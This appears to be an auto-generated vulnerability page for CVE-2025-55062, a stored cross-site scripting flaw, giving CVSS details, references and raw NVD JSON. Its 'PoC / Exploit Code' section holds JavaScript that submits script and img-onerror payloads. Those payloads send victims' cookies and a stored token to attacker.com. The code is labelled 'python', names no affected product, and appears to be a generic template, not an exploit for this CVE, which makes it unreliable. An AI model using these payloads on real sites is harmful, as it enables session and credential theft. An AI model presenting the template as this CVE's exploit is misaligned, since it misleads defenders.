CVE-2025-55062

Description

CWE-79 Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting')

CVSS Details

CVSS Score

4.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

受影响产品 < 未指定版本（需查看官方公告）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-55062 Stored XSS PoC
// Target: Vulnerable input field in web application
// Attack vector: Inject malicious JavaScript via high-privilege account

// Step 1: Identify vulnerable input field (e.g., comment, bio, title field)
const vulnerableInput = document.querySelector('input[name="content"], textarea[name="description"]');

// Step 2: Inject XSS payload
const xssPayload = '<script>\n  fetch("https://attacker.com/collect?cookie=" + encodeURIComponent(document.cookie) + "&data=" + encodeURIComponent(localStorage.getItem("token")))\n<\/script>';

// Alternative payload using img tag:
// const xssPayload = '<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">';

// Step 3: Submit the payload
if (vulnerableInput) {
  vulnerableInput.value = xssPayload;
  const submitBtn = document.querySelector('button[type="submit"]');
  if (submitBtn) submitBtn.click();
}

// Step 4: When victim visits the page, cookie is exfiltrated automatically

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-55062
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-55062
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-55062/
[4] VulDB https://vuldb.com/cve/CVE-2025-55062
[5] https://www.gov.il/en/departments/dynamiccollectors/cve_advisories_listing?skip=0

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-55062", "sourceIdentifier": "[email protected]", "published": "2025-12-29T18:15:43.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CWE-79 Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting')"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.gov.il/en/departments/dynamiccollectors/cve_advisories_listing?skip=0", "source": "[email protected]"}]}}